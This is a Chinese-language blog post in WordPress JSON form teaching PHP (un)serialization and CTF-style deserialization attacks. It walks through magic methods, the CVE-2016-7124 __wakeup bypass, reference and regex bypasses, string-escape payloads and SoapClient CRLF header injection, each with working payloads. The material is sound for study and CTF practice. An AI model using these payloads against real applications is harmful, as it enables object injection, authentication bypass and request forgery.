{"id":230,"date":"2021-07-14T19:54:39","date_gmt":"2021-07-14T11:54:39","guid":{"rendered":"http:\/\/101.34.19.194\/?p=230"},"modified":"2021-07-14T19:54:41","modified_gmt":"2021-07-14T11:54:41","slug":"php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96","status":"publish","type":"post","link":"http:\/\/101.34.19.194\/?p=230","title":{"rendered":"php\u53cd\u5e8f\u5217\u5316"},"content":{"rendered":"\n

serialize()\u51fd\u6570<\/h2>\n\n\n\n

\u201c\u6240\u6709php\u91cc\u9762\u7684\u503c\u90fd\u53ef\u4ee5\u4f7f\u7528\u51fd\u6570serialize()\u6765\u8fd4\u56de\u4e00\u4e2a\u5305\u542b\u5b57\u8282\u6d41\u7684\u5b57\u7b26\u4e32\u6765\u8868\u793a\u3002\u5e8f\u5217\u5316\u4e00\u4e2a\u5bf9\u8c61\u5c06\u4f1a\u4fdd\u5b58\u5bf9\u8c61\u7684\u6240\u6709\u53d8\u91cf\uff0c\u4f46\u662f\u4e0d\u4f1a\u4fdd\u5b58\u5bf9\u8c61\u7684\u65b9\u6cd5\uff0c\u53ea\u4f1a\u4fdd\u5b58\u7c7b\u7684\u540d\u5b57\u3002\u201d<\/p>\n\n\n\n

\u5728\u7a0b\u5e8f\u6267\u884c\u7ed3\u675f\u65f6\uff0c\u5185\u5b58\u6570\u636e\u4fbf\u4f1a\u7acb\u5373\u9500\u6bc1\uff0c\u53d8\u91cf\u6240\u50a8\u5b58\u7684\u6570\u636e\u4fbf\u662f\u5185\u5b58\u6570\u636e\uff0c\u800c\u6587\u4ef6\u3001\u6570\u636e\u5e93\u662f\u201c\u6301\u4e45\u6570\u636e\u201d\uff0c\u56e0\u6b64PHP\u5e8f\u5217\u5316\u5c31\u662f\u5c06\u5185\u5b58\u7684\u53d8\u91cf\u6570\u636e\u201c\u4fdd\u5b58\u201d\u5230\u6587\u4ef6\u4e2d\u7684\u6301\u4e45\u6570\u636e\u7684\u8fc7\u7a0b<\/p>\n\n\n\n

\u4f8b\u5982\uff0c\u5c06\u53d8\u91cf\u6570\u636e\u4fdd\u5b58\u5230\u6587\u4ef6\u4e2d<\/p>\n\n\n\n

$s = serialize($\u53d8\u91cf); \/\/\u8be5\u51fd\u6570\u5c06\u53d8\u91cf\u6570\u636e\u8fdb\u884c\u5e8f\u5217\u5316\u8f6c\u6362\u4e3a\u5b57\u7b26\u4e32
file_put_contents('.\/\u76ee\u6807\u6587\u672c\u6587\u4ef6', $s); \/\/\u5c06$s\u4fdd\u5b58\u5230\u6307\u5b9a\u6587\u4ef6<\/pre>\n\n\n\n
\u4e00\u4e2aserialize\u51fd\u6570\u7684\u57fa\u672c\u4f8b\u5b50<\/p>\n\n\n\n
<?php
class user{
    public $name = '';
    public $age = 0;
    
    public function printdata(){
        echo 'User '.$this->name.' is '.$this->age.' yeas old<br>';
    }
}
$user = new user(); \/\/\u521b\u5efa\u4e00\u4e2a\u5bf9\u8c61
$user->name = 'Aria';
$user->age = 20;
\/\/\u8bbe\u7f6e\u6570\u636e
$user->printdata(); \/\/\u8f93\u51fa\u6570\u636e
echo serialize($user); \/\/\u8f93\u51fa\u5e8f\u5217\u5316\u540e\u7684\u6570\u636e
?><\/code><\/pre>\n\n\n\n
\u8f93\u51fa\u7ed3\u679c\u4e3a<\/p>\n\n\n\n
User Aria is 20 yeas old
O:4:\"user\":2:{s:4:\"name\";s:4:\"Aria\";s:3:\"age\";i:20;}<\/pre>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\u5e8f\u5217\u5316\u8f93\u51fa\u540e\u4f1a\u4fdd\u5b58\u5bf9\u8c61\u7684\u6240\u6709\u53d8\u91cf\uff0c\u6bcf\u4e2a\u53d8\u91cf\u90fd\u7528\u4e00\u4e2a\u5b57\u7b26\u4ee3\u66ff\uff0c\u6bcf\u4e2a\u5b57\u7b26\u7684\u662f\u4ee5\u4e0b\u7684\u7f29\u5199<\/p>\n\n\n\n
a - array                     b - boolean
\u200b
d - double                    i - integer
\u200b
o - common object             r - reference
\u200b
s - string                    C - custom object
\u200b
O - class                     N - null
\u200b
R - pointer reference         U - unicode string<\/pre>\n\n\n\n
\u5176\u8f93\u51fa\u7ed3\u679c\u7684\u542b\u4e49\u4e3a<\/p>\n\n\n\n
O:4:\"user\":2:{s:4:\"name\";s:4:\"Aria\";s:3:\"age\";i:20;}
\u5bf9\u8c61:\u957f\u5ea6:\u7c7b\u540d:\u53d8\u91cf\u6570:{\u53d8\u91cf\u7c7b\u578b:\u957f\u5ea6:'\u503c';\u53d8\u91cf\u7c7b\u578b:\u957f\u5ea6:'\u503c'....}<\/pre>\n\n\n\n
unserialize()\u51fd\u6570<\/h2>\n\n\n\n
unserialize() \u5bf9\u5355\u4e00\u7684\u5df2\u5e8f\u5217\u5316\u7684\u53d8\u91cf\u8fdb\u884c\u64cd\u4f5c\uff0c\u5c06\u5176\u8f6c\u6362\u56de PHP \u7684\u503c\u3002\u5728\u89e3\u5e8f\u5217\u5316\u4e00\u4e2a\u5bf9\u8c61\u524d\uff0c\u8fd9\u4e2a\u5bf9\u8c61\u7684\u7c7b\u5fc5\u987b\u5728\u89e3\u5e8f\u5217\u5316\u4e4b\u524d\u5b9a\u4e49\u3002<\/p>\n\n\n\n
\u7b80\u5355\u6765\u7406\u89e3\u8d77\u6765\u5c31\u7b97\u5c06\u5e8f\u5217\u5316\u8fc7\u5b58\u50a8\u5230\u6587\u4ef6\u4e2d\u7684\u6570\u636e\uff0c\u6062\u590d\u5230\u7a0b\u5e8f\u4ee3\u7801\u7684\u53d8\u91cf\u8868\u793a\u5f62\u5f0f\u7684\u8fc7\u7a0b\uff0c\u6062\u590d\u5230\u53d8\u91cf\u5e8f\u5217\u5316\u4e4b\u524d\u7684\u7ed3\u679c\u3002<\/p>\n\n\n\n
$s = file_get_contents('.\/\u76ee\u6807\u6587\u672c\u6587\u4ef6'); \/\/\u53d6\u5f97\u6587\u672c\u6587\u4ef6\u7684\u5185\u5bb9\uff08\u4e4b\u524d\u5e8f\u5217\u5316\u8fc7\u7684\u5b57\u7b26\u4e32\uff09
$\u53d8\u91cf = unserialize($s); \/\/\u5c06\u8be5\u6587\u672c\u5185\u5bb9\uff0c\u53cd\u5e8f\u5217\u5316\u5230\u6307\u5b9a\u7684\u53d8\u91cf\u4e2d<\/pre>\n\n\n\n
\u901a\u8fc7\u4e00\u4e2a\u4f8b\u5b50\u6765\u4e86\u89e3unserialize\u51fd\u6570\u7684\u8fd0\u7528<\/p>\n\n\n\n
<?php 
class user{
    public $name = '';
    public $age = 0;
    
    public function printdata(){
        echo 'User '.$this->name.' is '.$this->age.' yeas old';
    }
}
$user = unserialize('O:4:\"user\":2:{s:4:\"name\";s:4:\"Aria\";s:3:\"age\";i:20;}'); \/\/\u91cd\u5efa\u5bf9\u8c61
$user->printdata();
\u200b
?><\/code><\/pre>\n\n\n\n
\u8fd0\u884c\u7ed3\u679c<\/p>\n\n\n\n
User Aria is 20 yeas old<\/pre>\n\n\n\n
\u6ce8\u610f\uff1a\u5728\u89e3\u5e8f\u5217\u5316\u4e00\u4e2a\u5bf9\u8c61\u524d\uff0c\u8fd9\u4e2a\u5bf9\u8c61\u7684\u7c7b\u5fc5\u987b\u5728\u89e3\u5e8f\u5217\u5316\u4e4b\u524d\u5b9a\u4e49\u3002\u5426\u5219\u4f1a\u62a5\u9519<\/p><\/blockquote>\n\n\n\n
public protect private\u7684\u4f7f\u7528\u65b9\u6cd5\u548c\u533a\u522b<\/h2>\n\n\n\n
public \u3010\u516c\u5171\u7684\u3011<\/p>
\u53ef\u4ee5\u5728\u7a0b\u5e8f\u4e2d\u7684\u4efb\u4f55\u4f4d\u7f6e\uff08\u7c7b\u5185\u3001\u7c7b\u5916\uff09\u88ab\u5176\u4ed6\u7684\u7c7b\u548c\u5bf9\u8c61\u8c03\u7528\u3002\u5b50\u7c7b\u53ef\u4ee5\u7ee7\u627f\u548c\u4f7f\u7528\u7236\u7c7b\u4e2d\u6240\u6709\u7684\u516c\u5171\u6210\u5458\u3002<\/p>
Private \u3010\u79c1\u6709\u7684\u3011<\/p>
\u88abprivate\u4fee\u9970\u7684\u53d8\u91cf\u548c\u65b9\u6cd5\uff0c\u53ea\u80fd\u5728\u6240\u5728\u7684\u7c7b\u7684\u5185\u90e8\u88ab\u8c03\u7528\u548c\u4fee\u6539\uff0c\u4e0d\u53ef\u4ee5\u5728\u7c7b\u7684\u5916\u90e8\u88ab\u8bbf\u95ee\u3002\u5728\u5b50\u7c7b\u4e2d\u4e5f\u4e0d\u53ef\u4ee5\u3002<\/p>
\u5982\u679c\u76f4\u63a5\u8c03\u7528\uff0c\u5c31\u4f1a\u53d1\u751f\u9519\u8bef\u3002<\/p>
Protect \u3010\u53d7\u4fdd\u62a4\u7684\u3011<\/p>
\u7528protected\u4fee\u9970\u7684\u7c7b\u6210\u5458\uff0c\u53ef\u4ee5\u5728\u672c\u7c7b\u548c\u5b50\u7c7b\u4e2d\u88ab\u8c03\u7528\uff0c\u4f46\u662f\u5728\u5176\u4ed6\u5730\u65b9\u4e0d\u80fd\u88ab\u8c03\u7528\u3002<\/p><\/blockquote>\n\n\n\n
\u5982\u679c\u53d8\u91cf\u524d\u662fprotected\uff0c\u5219\u4f1a\u5728\u53d8\u91cf\u540d\u524d\u52a0\u4e0a\\x00*\\x00<\/code>,private\u5219\u4f1a\u5728\u53d8\u91cf\u540d\u524d\u52a0\u4e0a\\x00\u7c7b\u540d\\x00<\/code>,\u8f93\u51fa\u65f6\u4e00\u822c\u9700\u8981url\u7f16\u7801\uff0c\u82e5\u5728\u672c\u5730\u5b58\u50a8\u66f4\u63a8\u8350\u91c7\u7528base64\u7f16\u7801\u7684\u5f62\u5f0f\uff0c\u5982\u4e0b\uff1a<\/p>\n\n\n\n
<?php
class test{
    protected  $a;
    private $b;
    function __construct(){$this->a = \"xiaoshizi\";$this->b=\"laoshizi\";}
    function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?><\/code><\/pre>\n\n\n\n
\u8f93\u51fa\u4f1a\u5bfc\u81f4\u4e0d\u53ef\u89c1\u5b57\u7b26\\x00<\/code>\u7684\u4e22\u5931<\/p>\n\n\n\n
O:4:\"test\":2:{s:4:\"*a\";s:9:\"xiaoshizi\";s:7:\"testb\";s:8:\"laoshizi\";}<\/pre>\n\n\n\n
php\u9b54\u672f\u65b9\u6cd5\u51fd\u6570<\/h2>\n\n\n\n
php\u4e2d\u5c06\u5f00\u5934\u5e26\u6709\u4e24\u4e2a\u4e0b\u5212\u7ebf__\u7684\u7c7b\u65b9\u6cd5\u4fdd\u7559\u4e3a\u9b54\u672f\u65b9\u6cd5<\/p>\n\n\n\n
__construct \u5f53\u4e00\u4e2a\u5bf9\u8c61\u521b\u5efa\u65f6\u88ab\u8c03\u7528\uff0c<\/p>
__destruct \u5f53\u4e00\u4e2a\u5bf9\u8c61\u9500\u6bc1\u65f6\u88ab\u8c03\u7528\uff0c<\/p>
__toString \u5f53\u4e00\u4e2a\u5bf9\u8c61\u88ab\u5f53\u4f5c\u4e00\u4e2a\u5b57\u7b26\u4e32\u88ab\u8c03\u7528\u3002<\/p>
__wakeup() \u4f7f\u7528unserialize\u65f6\u89e6\u53d1<\/p>
__sleep() \u4f7f\u7528serialize\u65f6\u89e6\u53d1<\/p>
__destruct() \u5bf9\u8c61\u88ab\u9500\u6bc1\u65f6\u89e6\u53d1<\/p>
__call() \u5728\u5bf9\u8c61\u4e0a\u4e0b\u6587\u4e2d\u8c03\u7528\u4e0d\u53ef\u8bbf\u95ee\u7684\u65b9\u6cd5\u65f6\u89e6\u53d1<\/p>
__callStatic() \u5728\u9759\u6001\u4e0a\u4e0b\u6587\u4e2d\u8c03\u7528\u4e0d\u53ef\u8bbf\u95ee\u7684\u65b9\u6cd5\u65f6\u89e6\u53d1<\/p>
__get() \u7528\u4e8e\u4ece\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u8bfb\u53d6\u6570\u636e<\/p>
__set() \u7528\u4e8e\u5c06\u6570\u636e\u5199\u5165\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027<\/p>
__isset() \u5728\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u4e0a\u8c03\u7528isset()\u6216empty()\u89e6\u53d1<\/p>
__unset() \u5728\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u4e0a\u4f7f\u7528unset()\u65f6\u89e6\u53d1<\/p>
__toString() \u628a\u7c7b\u5f53\u4f5c\u5b57\u7b26\u4e32\u4f7f\u7528\u65f6\u89e6\u53d1,\u8fd4\u56de\u503c\u9700\u8981\u4e3a\u5b57\u7b26\u4e32<\/p>
__invoke() \u5f53\u811a\u672c\u5c1d\u8bd5\u5c06\u5bf9\u8c61\u8c03\u7528\u4e3a\u51fd\u6570\u65f6\u89e6\u53d1<\/p><\/blockquote>\n\n\n\n
\u901a\u8fc7\u4e00\u4e2a\u4f8b\u5b50\u4e86\u89e3\u5404\u79cd\u65b9\u6cd5\u7684\u8c03\u7528<\/p>\n\n\n\n
<?php    
class test{
public $varr1=\"abc\";
public $varr2=\"123\";
public function echoP(){
echo \"<br>$this->varr1 and $this->varr2\"
;
}
public function __construct(){
echo \"<br>__construct
\";
}
public function __destruct(){
echo \"<br>__destruct
\";
}
public function __toString(){
return \"<br>__toString
\";
}
public function __sleep(){
echo \"<br>__sleep
\";
return array('varr1','varr2');
}
public function __wakeup(){
echo \"<br>__wakeup
\";
}
}
$obj = new test(); \/\/\u5b9e\u4f8b\u5316\u5bf9\u8c61\uff0c\u8c03\u7528__construct()\u65b9\u6cd5\uff0c\u8f93\u51fa__construct
$obj->echoP(); \/\/\u8c03\u7528echoP()\u65b9\u6cd5\uff0c\u8f93\u51fa\"abc\"
echo $obj; \/\/obj\u5bf9\u8c61\u88ab\u5f53\u505a\u5b57\u7b26\u4e32\u8f93\u51fa\uff0c\u8c03\u7528__toString()\u65b9\u6cd5\uff0c\u8f93\u51fa__toString
$s =serialize($obj); \/\/obj\u5bf9\u8c61\u88ab\u5e8f\u5217\u5316\uff0c\u8c03\u7528__sleep()\u65b9\u6cd5\uff0c\u8f93\u51fa__sleep
echo unserialize($s); \/\/$s\u9996\u5148\u4f1a\u88ab\u53cd\u5e8f\u5217\u5316\uff0c\u4f1a\u8c03\u7528__wake()\u65b9\u6cd5\uff0c\u88ab\u53cd\u5e8f\u5217\u5316\u51fa\u6765\u7684\u5bf9\u8c61\u53c8\u88ab\u5f53\u505a\u5b57\u7b26\u4e32\uff0c\u5c31\u4f1a\u8c03\u7528_toString()\u65b9\u6cd5\u3002
\/\/ \u811a\u672c\u7ed3\u675f\u53c8\u4f1a\u8c03\u7528__destruct()\u65b9\u6cd5\uff0c\u8f93\u51fa__destruct
?><\/code><\/pre>\n\n\n\n
\u8f93\u51fa\u7ed3\u679c<\/p>\n\n\n\n
__construct
abc and 123
__toString
__sleep
__wakeup
__toString
__destruct
__destruct<\/pre>\n\n\n\n
\u53cd\u5e8f\u5217\u5316\u7ed5\u8fc7<\/h2>\n\n\n\n
php7.1+\u53cd\u5e8f\u5217\u5316\u5bf9\u7c7b\u5c5e\u6027\u4e0d\u654f\u611f<\/h3>\n\n\n\n
\u6211\u4eec\u524d\u9762\u8bf4\u4e86\u5982\u679c\u53d8\u91cf\u524d\u662fprotected\uff0c\u5e8f\u5217\u5316\u7ed3\u679c\u4f1a\u5728\u53d8\u91cf\u540d\u524d\u52a0\u4e0a\\x00*\\x00<\/code><\/p>\n\n\n\n
\u4f46\u5728\u7279\u5b9a\u7248\u672c7.1\u4ee5\u4e0a\u5219\u5bf9\u4e8e\u7c7b\u5c5e\u6027\u4e0d\u654f\u611f\uff0c\u6bd4\u5982\u4e0b\u9762\u7684\u4f8b\u5b50\u5373\u4f7f\u6ca1\u6709\\x00*\\x00<\/code>\u4e5f\u4f9d\u7136\u4f1a\u8f93\u51faabc<\/code><\/p>\n\n\n\n
<?php
class test{
    protected $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a;
    }
}
unserialize('O:4:\"test\":1:{s:1:\"a\";s:3:\"abc\";}');<\/code><\/pre>\n\n\n\n
\u7ed5\u8fc7__wakeup(CVE-2016-7124)<\/h3>\n\n\n\n
\u7248\u672c\uff1a<\/p>
PHP5 < 5.6.25<\/p>
PHP7 < 7.0.10<\/p><\/blockquote>\n\n\n\n
\u5229\u7528\uff1a\u5f53\u53cd\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u4e2d\uff0c\u8868\u793a\u5c5e\u6027\u4e2a\u6570\u7684\u503c\u5927\u4e8e\u771f\u5b9e\u5c5e\u6027\u4e2a\u6570\u65f6\uff0c\u4f1a\u7ed5\u8fc7 __wakeup \u51fd\u6570\u7684\u6267\u884c<\/p>\n\n\n\n
<?php
class test{
    public $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function __wakeup(){
        $this->a='666';
    }
    public function  __destruct(){
        echo $this->a;
    }
}<\/code><\/pre>\n\n\n\n
\u5982\u679c\u6267\u884cunserialize('O:4:\"test\":1:{s:1:\"a\";s:3:\"abc\";}');<\/code>\u8f93\u51fa\u7ed3\u679c\u4e3a666<\/code><\/p>\n\n\n\n
\u800c\u628a\u5bf9\u8c61\u5c5e\u6027\u4e2a\u6570\u7684\u503c\u589e\u5927\u6267\u884cunserialize('O:4:\"test\":2:{s:1:\"a\";s:3:\"abc\";}');<\/code>\u8f93\u51fa\u7ed3\u679c\u4e3aabc<\/p>\n\n\n\n
\u6309\u5730\u5740\u4f20\u53c2<\/h3>\n\n\n\n
php\u5f15\u7528\uff1aphp\u5f15\u7528\u548cc++\u4e00\u6837\uff0c\u90fd\u662f\u5728\u53d8\u91cf\u524d\u52a0&<\/code>(\u53d6\u5730\u5740\u7b26\u53f7)<\/p>\n\n\n\n
<?php
$a='123';
$b=&$a;
$b=1;
echo $a;   \/\/\u8f93\u51fa1<\/code><\/pre>\n\n\n\n
\u6b64\u65f6a\u7684\u53d8\u91cf\u5730\u5740\u6307\u5411b\uff0c\u6240\u4ee5a\u7684\u503c\u968f\u7740b\u800c\u6539\u53d8<\/p>\n\n\n\n
\u7ed5\u8fc7\u65b9\u6cd5\uff1a<\/p>\n\n\n\n
web265<\/p>\n\n\n\n
<?php
class ctfshowAdmin{
    public $token;
    public $password;
\u200b
    public function __construct($t,$p){
        $this->token=$t;
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
$admin = new ctfshowAdmin('123','123');
echo serialize($admin);<\/code><\/pre>\n\n\n\n
\u5f53\u53d8\u91cftoken\u4e0d\u53ef\u63a7\uff0c\u800c\u53c8\u8981\u6c42password\u548ctoken\u5168\u7b49\u65f6\uff0c\u53ef\u4ee5\u5c06password\u7684\u5730\u5740\u6307\u5411token\u8fbe\u5230\u7ed5\u8fc7\u76ee\u7684<\/p>\n\n\n\n
\u6b63\u5219\u5339\u914d\u7ed5\u8fc7<\/h3>\n\n\n\n
+\u53f7\u7ed5\u8fc7<\/h4>\n\n\n\n
preg_match('\/^O:\\d+\/')<\/code>\u5339\u914d\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u662f\u5426\u662f\u5bf9\u8c61\u5b57\u7b26\u4e32\u5f00\u5934<\/p>\n\n\n\n
<?php
class test{
    public $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a.PHP_EOL;
    }
}
\u200b
function match($data){
    if (preg_match('\/^O:\\d+\/',$data)){
        die('you lose!');
    }else{
        return $data;
    }
}
$a = 'O:4:\"test\":1:{s:1:\"a\";s:3:\"abc\";}';
\/\/ +\u53f7\u7ed5\u8fc7
$b = str_replace('O:4','O:+4', $a); \/\/\u5c06O:4\u66ff\u6362\u6210O:+4
unserialize(match($b));
\/\/ serialize(array($a));
unserialize('a:1:{i:0;O:4:\"test\":1:{s:1:\"a\";s:3:\"abc\";}}');<\/code><\/pre>\n\n\n\n
\u5b57\u7b26\u9003\u9038<\/h3>\n\n\n\n
\u8fc7\u6ee4\u540e\u5b57\u7b26\u53d8\u591a<\/h4>\n\n\n\n
\u672c\u5730\u642d\u5efa\u4ee3\u7801<\/p>\n\n\n\n
<?php
\u200b
function change($str){
    return str_replace(\"x\",\"xx\",$str);
}
\u200b
$name = $_GET['name'];
$age = \"I am 11\";
$arr = array($name,$age);
echo \"\u53cd\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\uff1a\";
var_dump(serialize($arr));
echo \"<br\/>\";
echo \"\u8fc7\u6ee4\u540e:\"
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo \"<br\/>\u6b64\u65f6\uff0cage=$new[1]\";<\/code><\/pre>\n\n\n\n
\u6b63\u5e38\u60c5\u51b5\u4e0b\u4f20\u53c2<\/p>\n\n\n\n
\"image-20210712114419125\"\/<\/div><\/figure>\n\n\n\n
\u4f46\u5f53\u4f20\u591a\u4e00\u4e2ax\u65f6\uff0c\u7531\u4e8e\u5b57\u7b26\u66ff\u6362\u4e00\u4e2a\u66ff\u6362\u6210\u4e24\u4e2a\uff0c\u539f\u672c\u4e3a4\u4e2a\u5b57\u7b26\u53d8\u62105\u4e2a\uff0c\u5c31\u4f1a\u9020\u6210\u6ea2\u51fa<\/p>\n\n\n\n
\"image-20210712114545000\"\/<\/div><\/figure>\n\n\n\n
\u5f53\u4f20\u5165?name=xxxxxxxxxxxxxxxxxxxx\";i:1;s:6:\"woaini\";}<\/code><\/p>\n\n\n\n
\u5176\u4e2d\";i:1;s:6:\"woaini\";}<\/code>\u8fd9\u91cc\u7684\u5b57\u7b26\u6570\u662f20\uff0cx\u7684\u6570\u670920\uff0c\u4f46\u4e00\u4e2ax\u4f1a\u88ab\u66ff\u6362\u6210\u4e24\u4e2a\uff0c\u6240\u4ee5\u4e3a40\u4e2a\uff0c\u591a\u51fa\u6765\u768420\u4e2ax\u5176\u5b9e\u53d6\u4ee3\u4e86\u6211\u4eec\u7684\u8fd9\u4e8c\u5341\u4e2a\u5b57\u7b26\uff0c\u9020\u6210\u8fd920\u4e2a\u5b57\u7b26\u7684\u6ea2\u51fa\uff0c\u800c\"<\/code>\u95ed\u5408\u4e86\u524d\u4e32\uff0c\u9020\u6210\u6210\u529f\u9003\u9038\uff0c\u6539\u53d8\u4e86\u8f93\u51fa\uff0c\u4e0d\u518d\u662fage=11<\/code>\u800c\u662f\u7b49\u4e8e\u6211\u4eec\u6784\u9020\u7684woaini<\/code><\/p>\n\n\n\n
\u6700\u540e\u7684;}<\/code>\u95ed\u5408\u53cd\u5e8f\u5217\u5316\u5168\u8fc7\u7a0b\u5bfc\u81f4\u539f\u6765\u7684\";i:1;s:7:\"I am 11\";}\"<\/code>\u88ab\u820d\u5f03\uff0c\u4e0d\u5f71\u54cd\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b<\/p><\/blockquote>\n\n\n\n
\"image-20210712173556916\"\/<\/div><\/figure>\n\n\n\n
\u8fc7\u6ee4\u540e\u5b57\u7b26\u53d8\u5c11<\/h4>\n\n\n\n
\u672c\u5730\u642d\u5efa\u4ee3\u7801<\/p>\n\n\n\n
<?php
function change($str){
    return str_replace(\"xx\",\"x\",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo \"\u53cd\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\uff1a\";
var_dump(serialize($arr));
echo \"<br\/>\";
echo \"\u8fc7\u6ee4\u540e:\";
$old = change(serialize($arr));
var_dump($old);
echo \"<br\/>\";
$new = unserialize($old);
var_dump($new);
echo \"<br\/>\u6b64\u65f6\uff0cage=\";
echo $new['age'];<\/code><\/pre>\n\n\n\n
\u6b63\u5e38\u60c5\u51b5\u4e0b\u4f20\u53c2<\/p>\n\n\n\n
\"image-20210712172308327\"\/<\/div><\/figure>\n\n\n\n
\u4f20\u5165\u4e24\u4e2ax\u65f6\uff0c\u4f1a\u88ab\u66ff\u6362\u6210\u4e00\u4e2a\uff0c\u9020\u6210\u53cd\u5e8f\u5217\u5316\u5931\u8d25<\/p>\n\n\n\n
\"image-20210712172343678\"\/<\/div><\/figure>\n\n\n\n
\u6700\u540e\u6784\u9020payload<\/p>\n\n\n\n
\"image-20210712172849634\"\/<\/div><\/figure>\n\n\n\n
\u7531\u4e8e\u4e24\u4e2ax\u53d8\u6210\u4e00\u4e2ax\uff0c\u6240\u4ee5\u524d\u9762\u5b57\u7b26\u5c11\u4e00\u534a\uff0c\u5176\u4e2d\";s:3:\"age\";s:28:\"11<\/code>\u7684\u5b57\u7b26\u4e5f\u4e3a20\u4e2a\uff0c\u6240\u4ee5\u524d\u9762\u7684x\u6784\u902040\u4e2a\u5c31\u884c\u4e86<\/p>\n\n\n\n
?name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&age=11\";s:3:\"age\";s:6:\"woaini\";}<\/code><\/p>\n\n\n\n
SoapClient\u4e0e\u53cd\u5e8f\u5217\u5316<\/h2>\n\n\n\n
SoapClient\u91c7\u7528\u4e86HTTP\u4f5c\u4e3a\u5e95\u5c42\u901a\u8baf\u534f\u8bae\uff0cXML\u4f5c\u4e3a\u6570\u636e\u4f20\u9001\u7684\u683c\u5f0f\uff0c\u5176\u91c7\u7528\u4e86SOAP\u534f\u8bae(SOAP \u662f\u4e00\u79cd\u7b80\u5355\u7684\u57fa\u4e8e XML \u7684\u534f\u8bae,\u5b83\u4f7f\u5e94\u7528\u7a0b\u5e8f\u901a\u8fc7 HTTP \u6765\u4ea4\u6362\u4fe1\u606f)\uff0c\u5176\u6b21\u6211\u4eec\u77e5\u9053\u67d0\u4e2a\u5b9e\u4f8b\u5316\u7684\u7c7b\uff0c\u5982\u679c\u53bb\u8c03\u7528\u4e86\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u51fd\u6570\uff0c\u4f1a\u53bb\u8c03\u7528__call<\/code> \u65b9\u6cd5<\/p>\n\n\n\n
\u672c\u5730\u6d4b\u8bd5SoapClient\u76d1\u542c<\/h3>\n\n\n\n
<?php
$ua = \"ctfshow\";
\u200b
$client = new SoapClient(null,array('uri' => 'http:\/\/127,0.0.1:9999\/','location' => 'http:\/\/127.0.0.1:9999\/ctfshow','user_agent' => $ua));
\u200b
$client -> getFlag();\/\/\u8c03\u7528\u4e0d\u5b58\u5728\u7684\u65b9\u6cd5\uff0c\u8ba9SoapClient\u8c03\u7528__call<\/code><\/pre>\n\n\n\n
\u7ed3\u679c\u5982\u56fe<\/p>\n\n\n\n
\"image-20210710162001127\"\/<\/div><\/figure>\n\n\n\n
\u7531\u6b64\u6211\u4eec\u53ef\u4ee5\u770b\u5230\uff0cPOST\u5904\u3001User-Agent\u5904\u53ef\u4ee5\u7531\u6211\u4eec\u4fee\u6539\uff0cSOAPAction\u5904\u4e5f\u53ef\u4ee5\u8fdb\u884c\u4fee\u6539\uff0c\u7531\u6b64\u6211\u4eec\u53ef\u4ee5\u8fdb\u884c\u6ce8\u5165\u6076\u610f\u6784\u9020\u7684CRLF\u5b57\u7b26<\/p>\n\n\n\n
CRLF\u653b\u51fb<\/h3>\n\n\n\n
CRLF\u662f\u201c\u56de\u8f66+\u6362\u884c\u201d\uff08\\r\\n\uff09<\/strong>\u7684\u7b80\u79f0\uff0c\u5176\u5341\u516d\u8fdb\u5236\u7f16\u7801\u5206\u522b\u4e3a0x0d<\/strong>\u548c0x0a<\/strong>\u3002\u5728HTTP\u534f\u8bae\u4e2d\uff0cHTTP header\u4e0eHTTP Body\u662f\u7528\u4e24\u4e2aCRLF\u5206\u9694\u7684\uff0c\u6d4f\u89c8\u5668\u5c31\u662f\u6839\u636e\u8fd9\u4e24\u4e2aCRLF\u6765\u53d6\u51faHTTP\u5185\u5bb9\u5e76\u663e\u793a\u51fa\u6765\u3002\u6240\u4ee5\uff0c\u4e00\u65e6\u6211\u4eec\u80fd\u591f\u63a7\u5236HTTP\u6d88\u606f\u5934\u4e2d\u7684\u5b57\u7b26\uff0c\u6ce8\u5165\u4e00\u4e9b\u6076\u610f\u7684\u6362\u884c\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u80fd\u6ce8\u5165\u4e00\u4e9b\u4f1a\u8bddCookie\u6216\u8005HTML\u4ee3\u7801\u3002CRLF\u6f0f\u6d1e\u5e38\u51fa\u73b0\u5728Location\u4e0eSet-cookie\u6d88\u606f\u5934\u4e2d\u3002<\/p>\n\n\n\n
SoapClient\u4e0eCRLF<\/h3>\n\n\n\n
\u5728user-agent\u5904\u63d2\u5165\\r\\n<\/code>\u5b57\u7b26\u53ef\u4ee5\u5bf9\u4e0b\u65b9\u7684Content-type<\/code>\u3001Content-Length<\/code>\u3001token<\/code>\u8fdb\u884c\u63a7\u5236\u3002<\/p>\n\n\n\n
<?php
$ua = \"ctfshow\\r\\nContent-Type:application\/x-www-form-urlencoded\\r\\nContent-Length:13\\r\\ntoken=ctfshow\";
\u200b
$client = new SoapClient(null,array('uri' => 'http:\/\/127,0.0.1:9999\/','location' => 'http:\/\/127.0.0.1:9999\/ctfshow','user_agent' => $ua));
\u200b
$client -> getFlag();\/\/\u8c03\u7528\u4e0d\u5b58\u5728\u7684\u65b9\u6cd5\uff0c\u8ba9SoapClient\u8c03\u7528__call<\/code><\/pre>\n\n\n\n
